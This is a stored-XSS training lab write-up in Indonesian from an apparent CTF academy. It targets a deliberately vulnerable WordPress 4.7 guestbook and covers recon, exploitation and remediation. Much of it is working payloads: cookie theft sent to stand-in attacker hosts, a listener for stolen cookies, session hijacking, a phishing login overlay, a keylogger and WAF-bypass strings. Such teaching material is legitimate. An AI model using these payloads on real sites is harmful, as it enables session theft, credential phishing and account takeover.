TDCTF Academy Logo TDCTF ACADEMY

Lab 03: Stored XSS (Cross-Site Scripting)

1. Overview

Stored XSS (juga disebut Persistent XSS) adalah jenis serangan Cross-Site Scripting di mana payload script disimpan permanen di server target, lalu dieksekusi di browser setiap pengguna yang mengakses halaman yang menampilkan data tersebut.

Bayangkan seperti ini: kamu menulis graffiti di buku tamu sebuah toko. Setiap orang yang datang dan membuka buku tamu tersebut akan melihat coretan kamu - termasuk pemilik toko dan semua pengunjung lainnya. Dalam konteks web, graffiti itu adalah script berbahaya, dan buku tamu adalah halaman web yang menampilkan input tanpa sanitasi.

Aspek Deskripsi
Dampak Tinggi - script berjalan di browser setiap pengunjung
Jangkauan Semua user yang mengakses halaman yang terinfeksi
Deteksi Sedang - perlu mengamati perilaku halaman
Pencegahan Lebih mudah dibanding DOM-based XSS (validasi server-side)

2. Target Information

Field Detail
Target URL http://wps.vuln.cybersecurity.or.id
Level Beginner
Kategori Cross-Site Scripting (XSS)
WSTG Reference WSTG-INPV-01 - Reflected/Stored/DOM XSS Testing
OWASP Top 10 A03:2021 - Injection
CWE CWE-79 - Improper Neutralization of Input During Web Page Generation
CAPEC CAPEC-86 - Cross-Site Scripting (XSS) via User Input
Teknologi WordPress 4.7, PHP, MySQL
Plugin Rentan Guestbook Plugin (menyimpan input tanpa sanitasi)

3. Vulnerability Background

3.1. Apa Itu Stored XSS?

Stored XSS terjadi ketika aplikasi web menerima input dari user, menyimpannya di database, lalu menampilkannya kembali ke halaman web tanpa melakukan HTML encoding atau sanitasi.

flowchart LR
A[Attacker] -->|Mengirim payload XSS| B[Form Guestbook]
B -->|Menyimpan ke| C[(Database)]
C -->|Menampilkan ke| D[Pengunjung Lain]
D -->|Browser mengeksekusi script| E[Payload Berjalan]

3.2. Mengapa Ini Terjadi?

WordPress 4.7 dengan plugin guestbook buatan sendiri (custom plugin) sering kali tidak menerapkan praktik keamanan dasar:

  1. Input tidak divalidasi - script tag diterima begitu saja
  2. Output tidak di-encode - data langsung dirender sebagai HTML
  3. Tidak ada Content-Security-Policy - browser tidak dilarang mengeksekusi inline script

3.3. Dampak Potensial

  • Pencurian Cookie Session - <script>document.location='http://attaker.com/steal.php?c='+document.cookie</script>
  • Keylogger - merekam setiap ketikan user di halaman tersebut
  • Phishing - menampilkan form palsu untuk mencuri kredensial
  • Defacement - mengubah tampilan halaman untuk semua pengunjung
  • Malware Distribution - mengarahkan pengunjung ke situs berbahaya
  • CSRF Token Theft - mencuri token untuk melakukan aksi tanpa izin

4. Reconnaissance

Tahap pertama adalah mengenali target dan menemukan titik masuk (entry point) untuk serangan.

4.1. Akses Halaman Utama

curl -s http://wps.vuln.cybersecurity.or.id/ | head -50

Expected Output:

<!DOCTYPE html>
<html lang="en-US">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>wps.vuln.cybersecurity.or.id</title>
...
</head>
<body>
...
</body>
</html>

4.2. Identifikasi WordPress

curl -s http://wps.vuln.cybersecurity.or.id/ | grep -i "wordpress\|wp-content\|wp-json"

Expected Output:

<link rel='stylesheet' id='wp-block-library-css' href='http://wps.vuln.cybersecurity.or.id/wp-includes/css/dist/block-library/style.min.css?ver=4.7' type='text/css' media='all' />
<script type='text/javascript' src='http://wps.vuln.cybersecurity.or.id/wp-includes/js/jquery/jquery.js?ver=1.12.4'></script>

[SCREENSHOT-1] - Tampilan halaman utama WordPress 4.7

4.3. Cari Plugin Guestbook

Kita perlu mencari plugin guestbook. Beberapa cara:

# Cari menu guestbook di halaman utama
curl -s http://wps.vuln.cybersecurity.or.id/ | grep -i "guest\|buku tamu\|tamu\|gb\|guestbook"

# Coba akses langsung path guestbook
curl -s http://wps.vuln.cybersecurity.or.id/guestbook/
curl -s http://wps.vuln.cybersecurity.or.id/?page_id=guestbook

Expected Output:

<li><a href="http://wps.vuln.cybersecurity.or.id/guestbook/">Guestbook</a></li>

4.4. Inspeksi Halaman Guestbook

curl -s http://wps.vuln.cybersecurity.or.id/guestbook/

Expected Output:

<!DOCTYPE html>
<html>
...
<h2>Guestbook</h2>
<form method="POST" action="http://wps.vuln.cybersecurity.or.id/guestbook/">
<label>Name:</label>
<input type="text" name="name" required>
<br>
<label>Message:</label>
<textarea name="message" required></textarea>
<br>
<input type="submit" value="Sign Guestbook">
</form>
<hr>
<h3>Messages</h3>
<div class="entry">
<strong>John:</strong>
<p>Great site!</p>
</div>
...

[SCREENSHOT-2] - Halaman Guestbook dengan form input dan daftar pesan

4.5. Analisis Parameter Form

Dari hasil inspeksi, kita temukan:

Parameter Tipe Deskripsi
name Text input Nama pengunjung
message Textarea Isi pesan

Kedua parameter ini dikirim via POST ke endpoint yang sama (/guestbook/). Data yang dikirim akan disimpan ke database dan ditampilkan di halaman guestbook.

5. Testing - Validasi Kerentanan

Sebelum eksploitasi penuh, kita perlu memvalidasi bahwa input benar-benar tidak difilter.

5.1. Uji Coba Input Normal

curl -s -X POST http://wps.vuln.cybersecurity.or.id/guestbook/ \
-d "name=TestUser&message=Halo%20dari%20curl"

Expected Output: (redirect ke halaman guestbook, pesan muncul)

TestUser: Halo dari curl

5.2. Uji Coba Input dengan HTML Tag

curl -s -X POST http://wps.vuln.cybersecurity.or.id/guestbook/ \
-d "name=<b>BoldName</b>&message=<i>ItalicMessage</i>"

Expected Output:

<strong><b>BoldName</b>:</strong>
<p><i>ItalicMessage</i></p>

Jika tag HTML seperti <b> dan <i> muncul tanpa di-encode (ditampilkan sebagai HTML mentah), maka halaman tersebut rentan terhadap XSS.

5.3. Verifikasi dengan Script Tag Sederhana

curl -s -X POST http://wps.vuln.cybersecurity.or.id/guestbook/ \
-d "name=<script>alert('XSS')</script>&message=Test"

Kemudian akses halaman guestbook:

curl -s http://wps.vuln.cybersecurity.or.id/guestbook/ | grep -i "script"

Expected Output:

<strong><script>alert('XSS')</script>:</strong>

Perhatikan bahwa tag <script> muncul tanpa di-encode - ini adalah konfirmasi kerentanan Stored XSS.

6. Exploitation - Finding 1: Stored XSS Detection

6.1. Informasi Temuan

Field Detail
ID Temuan FINDING-001
Nama Stored XSS Detection via alert('XSS')
Severity 🔴 High
CVSS 3.1 6.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)
Endpoint POST /guestbook/GET /guestbook/
Parameter name
Payload <script>alert('XSS')</script>
Teknik Stored XSS - input disimpan dan dieksekusi di browser
WSTG WSTG-INPV-01

6.2. Langkah Eksploitasi

Step 1: Kirim payload XSS melalui parameter name:

curl -s -X POST http://wps.vuln.cybersecurity.or.id/guestbook/ \
-d "name=<script>alert('XSS')</script>&message=Test+Alert"

Expected Output: (HTTP 302 Redirect ke /guestbook/)

<!DOCTYPE html>
<!-- Redirecting... -->

Step 2: Verifikasi bahwa payload tersimpan:

curl -s http://wps.vuln.cybersecurity.or.id/guestbook/ | grep -oP "(?<=<strong>).*?(?=</strong>)"

Expected Output:

<script>alert('XSS')</script>

6.3. Bukti (Evidence)

[SCREENSHOT-3] - Payload <script>alert('XSS')</script> berhasil dikirim via curl POST

[SCREENSHOT-4] - Halaman guestbook menampilkan script tanpa encoding (view source)

[SCREENSHOT-5] - Alert box muncul saat halaman guestbook dibuka di browser

# Simpan halaman guestbook sebagai bukti
curl -s http://wps.vuln.cybersecurity.or.id/guestbook/ > /tmp/guestbook_xss.html

# Cek apakah script tag muncul
grep -c "<script>alert" /tmp/guestbook_xss.html

Expected Output:

1

7.1. Informasi Temuan

Field Detail
ID Temuan FINDING-002
Nama Stored XSS Cookie Theft via document.cookie
Severity 🔴 Critical
CVSS 3.1 8.2 (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N)
Endpoint POST /guestbook/GET /guestbook/
Parameter message
Payload <script>fetch('http://attacker.lab/track?c='+document.cookie)</script>
Dampak Pencurian session cookie admin
WSTG WSTG-INPV-01

7.2. Persiapan Listener (Server Attacker)

Kita perlu menyiapkan server untuk menerima cookie yang dicuri. Bisa menggunakan:

Opsi A - Netcat Listener:

# Di terminal terpisah, jalankan listener
nc -lvnp 8080

Opsi B - Python HTTP Server:

# Buat script sederhana untuk log request
python3 -c "
from http.server import HTTPServer, BaseHTTPRequestHandler
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
with open('/tmp/stolen_cookies.log', 'a') as f:
f.write(f'{self.path}\n')
self.send_response(200)
self.end_headers()
self.wfile.write(b'OK')
HTTPServer(('0.0.0.0', 8080), Handler).serve_forever()
"

[SCREENSHOT-6] - Listener Python berjalan di port 8080

curl -s -X POST http://wps.vuln.cybersecurity.or.id/guestbook/ \
-d "name=Attacker&message=<script>fetch('http://attacker.lab:8080/steal?c='+document.cookie)</script>"

Expected Output: (HTTP 302, payload tersimpan)

7.4. Alternatif Payload (tanpa server eksternal)

Jika tidak memiliki server sendiri, kita bisa menggunakan request catcher seperti webhook.site atau requestbin:

curl -s -X POST http://wps.vuln.cybersecurity.or.id/guestbook/ \
-d "name=Attacker&message=<script>new Image().src='https://WEBHOOK_URL/track?c='+document.cookie</script>"

Atau menggunakan payload yang mengarahkan browser ke halaman lain:

curl -s -X POST http://wps.vuln.cybersecurity.or.id/guestbook/ \
-d "name=Attacker&message=<script>document.location='http://attacker.lab:8080/steal?c='+document.cookie</script>"

Jika ada admin atau user lain yang membuka halaman guestbook, cookie mereka akan terkirim ke server attacker:

# Lihat log cookie yang tertangkap
cat /tmp/stolen_cookies.log

Expected Output:

/steal?c=wordpress_logged_in_365a5c9c5e09d9d0f45b9a78bb2ec0a8=admin%7C1712345678%7Cabc123...;%20wordpress_sec_365a5c9c5e09d9d0f45b9a78bb2ec0a8=...

[SCREENSHOT-7] - Cookie session berhasil tertangkap di listener

Cookie Kegunaan HttpOnly?
wordpress_logged_in_* Session login WordPress ❌ Tidak (dapat diakses JavaScript)
wordpress_sec_* Session secure WordPress ❌ Tidak
PHPSESSID Session PHP umum ❌ Tidak

Catatan Penting: Cookie WordPress versi 4.7 secara default tidak memiliki flag HttpOnly pada semua cookie, sehingga dapat diakses via JavaScript (document.cookie).

8. Eksploitasi Lanjutan - Session Hijacking

Setelah mendapatkan session cookie, attacker dapat membajak session admin:

  1. Buka browser
  2. Buka Developer Tools (F12) → Application → Cookies
  3. Tambahkan cookie wordpress_logged_in_* dengan nilai yang tertangkap
  4. Refresh halaman → sekarang kamu login sebagai admin
curl -s http://wps.vuln.cybersecurity.or.id/wp-admin/ \
-b "wordpress_logged_in_365a5c9c5e09d9d0f45b9a78bb2ec0a8=admin%7C1712345678%7Cabc123..." \
| grep -i "dashboard\|wp-admin"

[SCREENSHOT-8] - Dashboard WordPress admin berhasil diakses menggunakan cookie yang dicuri

9. Daftar Lengkap Payload XSS

Berikut adalah berbagai payload yang bisa dicoba untuk Stored XSS:

9.1. Payload Dasar

<!-- Alert popup (umum untuk POC) -->
<script>alert('XSS')</script>

<!-- Menggunakan event handler -->
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<body onload=alert('XSS')>
<!-- Menggunakan fetch -->
<script>fetch('http://attacker.lab/?c='+document.cookie)</script>

<!-- Menggunakan Image object -->
<script>new Image().src='http://attacker.lab/?c='+document.cookie</script>

<!-- Redirect langsung -->
<script>document.location='http://attacker.lab/?c='+document.cookie</script>

<!-- XMLHttpRequest -->
<script>
var x=new XMLHttpRequest();
x.open('GET','http://attacker.lab/?c='+document.cookie);
x.send();
</script>

9.3. Payload Phishing

<!-- Form login palsu -->
<script>
document.body.innerHTML='<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999"><h2>Session Expired</h2><form action="http://attacker.lab/steal" method="POST"><input type="text" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" value="Login"></form></div>';
</script>

9.4. Payload Keylogger

<script>
document.onkeypress=function(e){
fetch('http://attacker.lab/k?k='+e.key);
};
</script>

9.5. Payload dengan WAF Bypass

<!-- Case variation -->
<Script>alert('XSS')</Script>

<!-- Hex encoding -->
<script>alert('\x58\x53\x53')</script>

<!-- Tab/newline injection -->
<scr ipt>alert('XSS')</scr ipt>

<!-- Without parentheses -->
<script>alert`XSS`</script>

<!-- Polyglot -->
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert('XSS') )//%0D%0A%0D%0A

10. Remediation

10.1. HTML Entity Encoding (Paling Penting)

Semua input user harus di-encode sebelum ditampilkan ke halaman HTML.

PHP (Cara Aman):

// Menyimpan input
$name = $_POST['name'];
$message = $_POST['message'];

// ✅ Aman: HTML entity encoding sebelum disimpan
$safe_name = htmlspecialchars($name, ENT_QUOTES, 'UTF-8');
$safe_message = htmlspecialchars($message, ENT_QUOTES, 'UTF-8');

// Simpan $safe_name dan $safe_message ke database

Perbandingan Output:

Input Tanpa Encoding Dengan Encoding
<script>alert('XSS')</script> <script>alert('XSS')</script> (dieksekusi) &lt;script&gt;alert('XSS')&lt;/script&gt; (teks biasa)
<b>bold</b> bold (bold) &lt;b&gt;bold&lt;/b&gt; (teks biasa)

10.2. Input Validation (Lapisan Kedua)

// ✅ Validasi input - hanya izinkan karakter yang aman
if (!preg_match('/^[a-zA-Z0-9\s\.\,\!\?]+$/', $name)) {
die("Invalid name format");
}

if (strlen($message) > 500) {
die("Message too long");
}

10.3. Content-Security-Policy (CSP) Header

CSP membatasi resource apa yang boleh dieksekusi di browser:

# .htaccess atau konfigurasi Apache
Header set Content-Security-Policy "default-src 'self'; script-src 'self';"
# Konfigurasi Nginx
add_header Content-Security-Policy "default-src 'self'; script-src 'self';";

Apa yang dicegah CSP:

  • Inline script (<script>alert('XSS')</script>) → ❌ Diblokir
  • Inline event handler (onerror=alert(1)) → ❌ Diblokir
  • javascript: URLs → ❌ Diblokir
  • Fetch ke domain lain → ❌ Diblokir (kecuali diizinkan)
// ✅ Set cookie dengan HttpOnly dan Secure
setcookie(
'wordpress_logged_in_...',
$value,
[
'expires' => time() + 3600,
'path' => '/',
'domain' => '.wps.vuln.cybersecurity.or.id',
'secure' => true,
'httponly' => true, // ❗ Tidak bisa diakses JavaScript
'samesite' => 'Strict' // ❗ Tidak dikirim ke domain lain
]
);

10.5. WordPress-Specific Fixes

Untuk WordPress 4.7, beberapa langkah tambahan:

// Tambahkan ke functions.php tema aktif

// 1. Filter output untuk menambahkan encoding
add_filter('the_content', 'esc_html');
add_filter('comment_text', 'esc_html');

// 2. Nonaktifkan unfiltered HTML untuk semua role
define('DISALLOW_UNFILTERED_HTML', true);

// 3. Force HttpOnly pada cookie login
add_filter('secure_auth_cookie', function($cookie) {
return $cookie . '; HttpOnly; SameSite=Strict';
});

10.6. Checklist Remediation

No Item Status
1 HTML entity encoding pada semua output (htmlspecialchars)
2 Validasi input (hanya karakter yang diizinkan)
3 Content-Security-Policy header
4 HttpOnly flag pada session cookie
5 SameSite cookie attribute
6 Update WordPress ke versi terbaru
7 Gunakan plugin security (Wordfence, Sucuri)
8 Regular security audit & penetration test

11. Tools & Referensi

11.1. Tools yang Digunakan

Tool Fungsi
curl Mengirim HTTP request
nc (netcat) Listener untuk menerima cookie
python3 HTTP server untuk logging cookie
Browser (Chrome/Firefox) Verifikasi visual dan session hijacking

11.2. Referensi

Referensi URL
OWASP XSS https://owasp.org/www-community/attacks/xss/
OWASP XSS Filter Evasion https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html
CWE-79 https://cwe.mitre.org/data/definitions/79.html
CAPEC-86 https://capec.mitre.org/data/definitions/86.html
WSTG-INPV-01 https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/01-Testing_for_Reflected_Cross_Site_Scripting.html
WordPress Hardening https://wordpress.org/support/article/hardening-wordpress/
CSP Reference https://content-security-policy.com/
HTML Purifier (PHP) https://github.com/ezyang/htmlpurifier

12. Ringkasan

Stored XSS adalah salah satu kerentanan web paling berbahaya karena payload menginfeksi server dan menyebar ke setiap pengunjung. Dalam lab ini, kita berhasil:

12.1. Apa yang Dipelajari

  1. Mengidentifikasi plugin guestbook sebagai entry point
  2. Memvalidasi kerentanan dengan input HTML sederhana
  3. Mengeksploitasi Stored XSS dengan alert('XSS')
  4. Mencuri cookie session via document.cookie
  5. Memahami dampak session hijacking
  6. Menerapkan remediasi - encoding, CSP, HttpOnly

12.2. Timeline Serangan

Langkah Aksi Hasil
1 Reconnaissance Menemukan plugin guestbook di WordPress 4.7
2 Testing Validasi input name tidak di-encode
3 Finding 1 Stored XSS Detection - alert('XSS')
4 Finding 2 Cookie Theft - document.cookie via fetch
5 Session Hijacking Mengakses wp-admin dengan cookie curian

12.3. Key Takeaways

  • Stored XSS lebih berbahaya dari Reflected XSS karena bersifat permanen
  • HTML entity encoding adalah pertahanan utama - selalu encode output
  • CSP memberikan lapisan keamanan tambahan di sisi browser
  • HttpOnly cookie mencegah JavaScript mengakses session cookie
  • Validasi input adalah lapisan pertama, encoding output adalah lapisan terakhir
  • WordPress 4.7 sudah End of Life - selalu gunakan versi terbaru

13. Latihan Mandiri

Coba eksplorasi lebih lanjut:

  1. Payload lain: Coba gunakan <img src=x onerror=alert('XSS')> - apakah berhasil?
  2. Field message: Apakah field message juga rentan terhadap XSS?
  3. WAF Bypass: Jika ada filter sederhana, bagaimana cara bypass-nya?
  4. CSRF + XSS: Bisakah kita menggabungkan XSS dengan CSRF untuk mengubah password admin?
  5. BeEF Framework: Coba integrasikan dengan BeEF (Browser Exploitation Framework) untuk kontrol penuh browser korban.
# Contoh: Coba field message dengan payload berbeda
curl -s -X POST http://wps.vuln.cybersecurity.or.id/guestbook/ \
-d "name=Test&message=<img src=x onerror=alert('XSS')>"

# Verifikasi
curl -s http://wps.vuln.cybersecurity.or.id/guestbook/ | grep -o "onerror"

14. Kesimpulan

Stored XSS pada guestbook WordPress 4.7 adalah contoh klasik Injection Attack yang seharusnya mudah dicegah. Kerentanan ini muncul karena pengabaian prinsip keamanan dasar:

  1. Never Trust User Input - semua input adalah berbahaya sampai terbukti aman
  2. Encode Output - konteks matters (HTML, JavaScript, CSS, URL each need different encoding)
  3. Defense in Depth - jangan andalkan satu lapisan keamanan

Dengan memahami cara kerja Stored XSS dan metode pencegahannya, kamu sudah mengambil langkah penting untuk menjadi web security professional yang lebih baik.

"Security is not a product, but a process." - Bruce Schneier


Lab ini disusun untuk tujuan edukasi keamanan siber. Eksploitasi tanpa izin pada sistem produksi adalah ilegal.

PADA HALAMAN INI